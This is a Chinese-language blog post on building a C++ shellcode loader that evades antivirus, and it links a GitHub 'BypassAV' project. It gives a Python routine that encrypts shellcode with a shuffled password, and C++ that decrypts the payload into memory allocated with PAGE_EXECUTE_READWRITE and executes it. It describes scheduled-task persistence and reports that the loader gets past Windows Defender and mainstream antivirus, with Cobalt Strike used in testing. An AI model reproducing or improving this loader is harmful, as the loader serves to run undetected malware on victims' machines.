千尋筆記:C++免殺記
VSole2022-04-11 18:23:41
0x00 前言
看到師傅們不停的分享各種免殺的思路,收獲頗多,學習總結之余也做了練習,最終實現了主流殺毒的免殺處理。
這里主要分享一下免殺思路,沒有什么技術性。
0x01 shellcode Loader思路
shellcode加載器顧名思義就是通過申請內存、把shellcode放入內存來加載shellcode。
沒有經過加密的shellcode做的免殺會直接被殺,所以就要對shellcode先進行一些加密處理后,然后通過本地或遠程加載shellcode,在加載器程序中解密shellcode后寫入申請的內存中即可。
shellcode的加載器大致流程下圖所示:

0x02 加密算法
用Python自寫加密算法通過隨機密碼進行加密,部分代碼如下:shellcode加密函數
def encrypt2(srcStr,password): arr = srcStr.split(',0x') for i in range(1,len(arr)): arr[i]=int(arr[i],16) tempStr = "" for index in range(len(str(arr[i]))): tempStr=tempStr+password[int(str(arr[i])[index])] arr[i]=str(len(tempStr))+tempStr #print(arr) return ''.join(arr)
隨機密碼
def shuffle_str(s): str_list = list(s) shuffle(str_list) return ''.join(str_list)
passwd=shuffle_str('7032614895')
加密shellcode,這里是把加密的密碼放在shellcode前面了。
jm =passwd+encrypt2(jm, passwd)
附一個加密后的shellcode圖:

0x03 C++ shellcode Loader
部分代碼如下:
提取加密后的shellcode及加密密碼
char str[] = ""string str1(str);//密碼string passwd1 = str1.substr(0, 10);//shellcodestring shellcode1 = str1.substr(10, str1.length());const char* shellcode2 = shellcode1.data();
對shellcode進行解密
int k = 0;for (int i = 0; i < shellcode1.length(); i++){ int len1; len1 = shellcode2[i] - 48; string dange = ""; for (int j = 0; j < len1; j++) { string a = to_string(shellcode2[i + j + 1] - 48); int a1 = passwd1.find(a); string a2 = to_string(a1); dange.append(a2); } i = i + len1; int dange4 = std::stoi(dange); ss[k] = *((char*)&dange4); k = k + 1;}
申請內存,把shellcode放入內存執行,此處使用自定義defer函數改變執行順序(defer為Go自帶函數):
LPVOID Memory = VirtualAlloc(NULL, sizeof(ss), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);defer(((void(*)())Memory)(););defer(memcpy(Memory, ss, sizeof(ss)););defer(if (Memory == NULL) { return 1; });
0x04 權限維持
這里自行參考微軟官方Demo,通過C++調用com組件 ITaskService,來實現免殺權限維持的功能。
添加成功效果圖如下:

0x05 效果
主流殺軟靜態查殺:


CS命令執行測試:

win11 Defender測試:


0x06 總結
print("沒有長久的規避技術,免殺只是與反病毒技術的長久對抗。")
參考鏈接:
https://docs.microsoft.com/zh-cn/windows/win32/taskschd/logon-trigger-example--c---
項目地址(求star):
https://github.com/G73st/BypassAV
VSole
網絡安全專家